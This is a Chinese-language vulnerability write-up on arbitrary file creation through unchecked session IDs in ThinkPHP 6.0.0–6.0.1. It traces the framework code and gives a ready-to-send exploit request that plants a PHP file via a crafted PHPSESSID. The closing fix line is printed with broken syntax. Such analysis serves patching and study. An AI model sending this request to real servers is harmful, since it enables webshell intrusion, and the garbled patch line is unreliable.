漏洞描述
2020年1月10日,ThinkPHP團隊發佈一個補丁更新,修復了一處由不安全的SessionId導致的任意文件操作漏洞。該漏洞允許攻擊者在目標環境啓用session的條件下創建任意文件以及刪除任意文件,在特定情況下還可以getshell。
具體受影響版
ThinkPHP6.0.0-6.0.1。
環境準備
/tp60/app/middleware.php 文件開啓session
去掉se註釋session的
<?php
// 全局中間件定義文件
return [
// 全局請求緩存
// \think\middleware\CheckRequestCache::class,
// 多語言加載
// \think\middleware\LoadLangPack::class,
// Session初始化
\think\middleware\SessionInit::class
];
tp5/public/index.php 在控制器中加入測試session的代碼
public function test1(){
$sid =$_POST['key'];
session('zeo',$sid);
return 666;
}
意思是獲取一個key設置寫入session中
注:使用thinkphp6 最好使用高版本 的php
分析
首先這個洞,我理解是sessionid爲進行效驗,可以導致傳入任意字符,例如xxx.php。而且一般來說sessionid會作爲文件名創建對應的文件保存。這是第一步我們的已經實現文件可控,如果session文件再往裏面寫東西要是可控的話,這樣不就可以getshell了,所以我構造了上面的控制器。
漏洞首先出現的地方是 sessionid可控
tp6/vendor/topthink/framework/src/think/session/Store.php
121行
/**
* session_id設置
* @access public
* @param string $id session_id
* @return void
*/
public function setId($id = null): void
{
$this->id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime(true) . session_create_id());
}
sessionid的設置的時候 爲進行效驗,只要是32位的就可以
同一個文件看一下session保存
tp6/vendor/topthink/framework/src/think/session/Store.php 254行
/**
* 保存session數據
* @access public
* @return void
*/
public function save(): void
{
$this->clearFlashData();
$sessionId = $this->getId();
if (!empty($this->data)) {
$data = $this->serialize($this->data);
$this->handler->write($sessionId, $data);
} else {
$this->handler->delete($sessionId);
}
$this->init = false;
}
先獲取session id 然後是 $this->handler->write($sessionId, $data);;
在跟進一下handler
只有一個構造函數的初始化 變成一個 SessionHandlerInterface $handler
public function __construct($name, SessionHandlerInterface $handler, array $serialize = null)
{
$this->name = $name;
$this->handler = $handler;
if (!empty($serialize)) {
$this->serialize = $serialize;
}
$this->setId();
}
tp6/vendor/topthink/framework/src/think/middleware/SessionInit.php
這裏獲取到 PHPSESSID 的值 session id傳入
if ($varSessionId && $request->request($varSessionId)) {
$sessionId = $request->request($varSessionId);
} else {
$sessionId = $request->cookie($cookieName);
}
if ($sessionId) {
$this->session->setId($sessionId);
$request->cookie($cookieName);這個裏面看一下
protected $name = 'PHPSESSID'; 發現是這個參數
所以這個值就從PHPSESSID傳就好了
然後傳入Store 中 setId()函數判斷,值檢查了32位 就是第一個說的地方
最後保存session數據 在代碼tp6/vendor/topthink/framework/src/think/session/Store.php
跟進這個write方法
$this->handler->write($sessionId, $data);
這裏的 handler 是 繼承的think\session\driver\file.php
跟進這個write方法
tp6/vendor/topthink/framework/src/think/session/driver/File.php
public function write(string $sessID, string $sessData): bool
{
$filename = $this->getFileName($sessID, true);
$data = $sessData;
if ($this->config['data_compress'] && function_exists('gzcompress')) {
//數據壓縮
$data = gzcompress($data, 3);
}
return $this->writeFile($filename, $data);
}
這裏有文件名的處理
getFileName($sessID, true);
protected function getFileName(string $name, bool $auto = false): string
{
if ($this->config['prefix']) {
// 使用子目錄
$name = $this->config['prefix'] . DIRECTORY_SEPARATOR . 'sess_' . $name;
} else {
$name = 'sess_' . $name;
}
$filename = $this->config['path'] . $name;
$dir = dirname($filename);
if ($auto && !is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 創建失敗
}
}
return $filename;
}
文件名只進行了路徑拼接和加前綴
數據壓縮沒啥用 跟進 $this->writeFile($filename, $data);
protected function writeFile($path, $content): bool
{
return (bool) file_put_contents($path, $content, LOCK_EX);
}
直接寫入了。這樣就出現問題了,文件名可控,XXX.php 裏面的內容是序列化之後的,但是可控制話也說直接getshell
利用
根據我寫的控制器
構造數據包
注意 session PHPSESSID= 後面要按照要求必須 32位 可以隨便構造
POST /tp6/public/index.php/index/test1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/tp6/public/index.php/index/test1
Cookie: PHPSESSID=1234567890123456789012345678.php;
Upgrade-Insecure-Requests: 1
key=<?php%20phpinfo();?>
然後就是找到這個文件
一般位於項目根目錄下的./runtime/session/文件夾下,
加上之前前綴的拼接,那就是
/runtime/session/sess_1234567890123456789012345678.php
然後成功
修復方法
官方也給出方案
對session id 加一個過濾 使用 ctype_alnum()
$this->id = is_string($id) && strlen($id) === 32 ctype_alnum($id) && ? $id : md5(microtime(true) . session_create_id());